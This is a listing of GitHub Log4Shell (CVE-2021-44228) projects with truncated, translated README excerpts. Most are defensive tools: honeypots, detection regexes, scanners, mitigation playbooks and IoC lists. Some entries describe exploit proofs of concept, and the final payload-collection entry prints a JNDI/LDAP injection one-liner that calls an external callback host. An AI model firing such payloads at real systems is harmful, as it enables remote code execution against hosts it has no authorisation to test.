Log4Shell-Honeypot

Log4Shell 蜜罐 针对 CVE-2021-44228 的增强型 Docker 化蜜罐，具有全面的安全特性、监控和告警能力。 特性 增强检测 全面模式匹配 ：检测 20 多种 Log4Shell 利用模式，包括 JNDI、LDAP、RMI、DNS 和环境变量查找 多源检测 ：监控 HTTP 头部、表单数据和查询参数 实时日志记录 ：结构化 JSON 日志，包含详细的攻击信息 安全与性能 速率限制 ：基于 IP 的可配置速率限制，防止滥用 反向代理 ：Nginx 配置，包含安全头部和 SSL 终止 容器安全 ：非 root 用户、只读文件系统、移除能力 fail2ban 集成...

log4shell-rex

Log4Shell-Rex 以下 RegEx 旨在尝试匹配 Log4Shell（CVE-2021-44228 和 CVE-2021-45046）利用的指标（indicators）。 如果您运行的版本早于 2021/12/21，强烈建议进行测试并更新。 我已移除了一些 quirks 并增强了性能。 该 Regex 力求与 PCRE 兼容，但也应在 re2 以及可能更多的 RegEx 引擎上运行。 RegEx: regex...

nse-log4shell

nse-log4shell Nmap NSE 脚本，用于检查 log4shell 或 LogJam 漏洞（CVE-2021-44228）。 这些 NSE 脚本检查互联网上最常用的暴露服务。这是一个基础脚本，你可以自定义 payload。 示例 请注意，NSE 脚本只会向服务发出请求。Nmap 不会报告易受攻击的主机，你需要检查 DNS 日志来确定漏洞。如果你没有手动指定 payload，NSE 脚本将默认使用 dnslog.cn。这意味着请求将被 dnslog.cn 看到。 借助 dnslog.cn 快速开始 切换到这些脚本所在的目录，并执行以下命令（Nmap 会自动获取...

l4j-info

l4j-info 在记录 CVE-2021-44228 或 Log4J 相关问题时，我收集了有价值的链接 关键的官方安全公告： 现有 Log4J 1.2 漏洞 CVE-2019-17571 也可能存在 Apache Log4J 2.x 版本安全信息 VMWare 关键漏洞通告 Cisco 产品漏洞公告 受影响的 Sophos 产品 微软对 CVE-2021-44228 的回应 情报与缓解措施： 微软缓解策略 CISA 网络安全卫生服务 Microsoft Azure Sentinel IoC 列表，YAML 查看位置及目标 Huntress Log4Shell 漏洞测试器 已知利用...

cve-2021-44228

这个Ansible playbook为所有用户应用一个全局的'JAVATOOLOPTIONS: -Dlog4j2.formatMsgNoLookups=true'。 这可以缓解清单中主机上所有JVM应用的CVE-2021-44228漏洞。 执行： ansible-playbook playbook.yml -i inventory...

CVE-2021-44228

Log4Shell CVE-2021-44228 缓解 Ansible 角色 该 Ansible 角色部署了一个基于 Python 的脚本，通过从受影响的 Log4j JAR 文件中移除存在漏洞的 JndiLookup 类，以编程方式缓解 Log4Shell 漏洞（CVE-2021-44228）。 它设计为通过 Ansible 运行，但如果您愿意，也可以手动执行该脚本。 在此处阅读有关 Log4Shell 漏洞的更多信息： 维基百科 NVD CVE-2021-44228 我们的 Twitter 帖子 功能 在指定的应用程序目录中搜索 Log4j JAR 文件 验证是否存在...

log4shell

log4shell 帮助社区应对 Log4j 漏洞 Log4Shell CVE-2021-44228 的相关内容...

log4j-scan

log4j-scan 完全自動化された、正確で広範な脆弱なlog4jホストを発見するスキャナー 機能 URLリストのサポート。 60以上のHTTPリクエストヘッダーに対するファジング（従来のツールのように3～4ヘッダーだけではありません）。 HTTP POSTデータパラメータのファジング。 JSONデータパラメータのファジング。 脆弱性の発見と検証のためのDNSコールバックをサポート。 WAFバイパスペイロード。 🚨 お知らせ 2022年10月20日 FullHuntはApache Commons Text RCE...

CVE-2021-44228

CVE-2021-44228 漏洞复现 1. 先运行RmiServer以创建RMI注册服务。 2. 运行Log4jTest，如果你使用Windows，计算器将会弹出。...

nginx-mitigate-log4shell

nginx-mitigate-log4shell Mitiga los ataques que explotan la vulnerabilidad log4shell CVE-2021-44228 y CVE-2021-45046 mediante el script LUA de Nginx Requiere que el módulo lua de Nginx https://www.nginx.com/resources/wiki/modules/lua/ esté habilitado. Use include /path/to/mitigate-log4shell.conf;...

log4py

log4py Python风格的纯Python RCE漏洞利用，针对CVE-2021-44228 log4shell 1. 运行一个易受攻击的服务，例如 https://github.com/zzzz0317/log4j2-vulnerable-spring-app 2. 修改exploit.py中的设置 3. pwn 仅供教育使用（主要是为了我自己乐呵） 经过一些修改后可能才会有效 如果你搞非法活动——去你的 TODO: 通过javac添加编译能力，以获得更大的版本灵活性 为其他服务添加更多攻击类 添加更多一切！ 实际测试（笑） 脱离概念验证阶段...

log4j-poc

log4j-poc 针对CVE-2021-44228 Log4Shell的LDAP RCE漏洞利用 描述 演示用的Tomcat 8服务器（端口8080）上部署了存在漏洞的应用程序（log4shell），并且该服务器也通过用户代理攻击方式存在漏洞。 本演示中的远程利用应用程序基于 https://github.com/kozmer/log4j-shell-poc 上的代码。 本演示用的Tomcat服务器（Tomcat 8.5.3，Java 1.8.0u51）已被重新配置为使用Log4J2进行日志记录——这是一种非标准配置。...

log4j

CVE-2021-44228 又名 LOG4J 这是 Wortell 的一个公开仓库，包含与 Log4j 相关漏洞有关的信息、链接、文件及其他内容。 由于 log4j 2.17.0 存在漏洞，现在建议升级到 2.17.1 版本。 已知 CVE CVE| 评分| 描述 ---|---|--- CVE-2021-44228| 10.0| 影响 Log4j 2.0-beta9 至 2.14.1 版本的远程代码执行漏洞（已在 2.15.0 版本中修复） CVE-2021-45046| 9.0| 影响 Log4j 2.0-beta9 至 2.15.0 版本（不包括...

log4j-log4shell-affected

log4j-log4shell-受影响组件列表 针对 CVE-2021-44228（又称 Log4shell 或 Log4j RCE）的受影响组件与受影响应用/厂商清单，供安全响应人员使用。 我们认为有必要将厂商和产品分为两类： 1. 内部风险 ——需要优先修补以消除内部风险的部分 2. 外部风险 ——所有可能已被入侵的、保管您数据的第三方/第四方厂商；在完成内部修补后，需要监控并处理的那些 以下是清单： 外部风险 - 受影响的应用 即：如果您的数据存储在其环境中，或者它们可访问您的环境，那么您应当关注的所有厂商。 内部风险 - 受影响的组件...

log4j_checker

Log4jchecker.py（CVE-2021-44228） 描述 这个 Python3 脚本试图寻找易受 CVE-2021-44228 攻击的服务器，该漏洞也被称为 Log4Shell，是 Log4j2 Java 日志库中发现的一个非常严重的漏洞。 它不依赖外部 DNS 日志服务器来验证和确认易受攻击的目标：启动时，会创建一个在所有接口和端口 55555（可通过 .env 文件或环境变量更改）上监听的线程，该线程将等待来自易受攻击机器的回调连接，并通过 Python 队列通知主线程。请记住，你可能需要添加防火墙规则（和/或端口转发规则）以允许入站连接到监听的 IP:端口对。...

log4jail

log4jail 🛡️ 一个用于阻止 Log4J（Log4Shell，又名 CVE-2021-44228）攻击的快速防火墙反向代理，支持 TLS（HTTPS）和 swarm。 📖 目录 简介 安装 快速开始 概念验证 面向渗透测试人员 ℹ️ 简介 log4jail 是一个快速但粗暴的解决方案，通过充当反向代理扫描完整的请求体（包括所有请求头和请求参数）中的 log4shell 载荷来阻止 Log4Shell 漏洞利用尝试。 💡 您可以通过在配置文件中按端口和目标映射来同时运行多个实例。 该防火墙遵循 Google Cloud 的缓解策略。 安装 从 Releases...

log4shell-finder

log4shell-finder - 最快的 log4j 实例文件系统扫描器 Python 移植版本，基于 https://github.com/mergebase/log4j-detector。log4j-detector 版权所有 C 2021 Mergebase Software Inc. https://mergebase.com/，采用 GPLv3 许可。 移植到 Python 的动机是提升性能、降低内存消耗并提高代码可读性。请参阅下面关于性能对比的部分。 而且它似乎是内存占用最低且扫描速度最快的工具 识别文件系统上存在漏洞的 log4j 1.x、reload4j 1.2.18...

log4shell_ioc_ips

j4shelliocips 来自已知 log4j/log4shell 恶意IP地址的大型数据转储，唯一且已排序，仅在发生变化时每小时更新一次！（CVE-2021-44228） 狩猎愉快 免责声明 此脚本解析大量来源，因此此列表可能包含大量误报，请不要在防火墙中屏蔽所有IP！ 待办事项： 添加白名单 正在进行中 改进正则表达式以排除本地IP地址 已解决 添加对域名的支持 来源： https://gist.github.com/gnremy/c546c7911d5f876f263309d7161a7217...

Log4JHunt

Log4JHunt Un escáner automatizado y fiable para la vulnerabilidad Log4Shell CVE-2021-44228. Demostración en vídeo: Uso Aquí está la ayuda de uso: $ python3 log4jhunt.py +--------------+ Log4JHunt +--------------+ + Log4jHunt by RedHunt Labs - A Modern Attack Surface ASM Management Company + Autho...

Log4Shell-Payloads

🚨 Log4Shell 漏洞利用载荷集合 精心整理的 Log4Shell / Log4J 漏洞利用载荷 ，针对： CVE-2021-45046 CVE-2022-42889 🔗 由 @nav1n0x 🔥 单行载荷 ✅ 单行载荷1bash cat vulnerable-hosts.txt | sed 's/https?:////' | xargs -I echo '/$jndi:ldap://.L4J.quua8mp7vfexh3a3qkf1sggj9.canarytokens.com/a' L4SFuzzList httpx -l L4SFuzzList ✅ 单行命令2bash cat...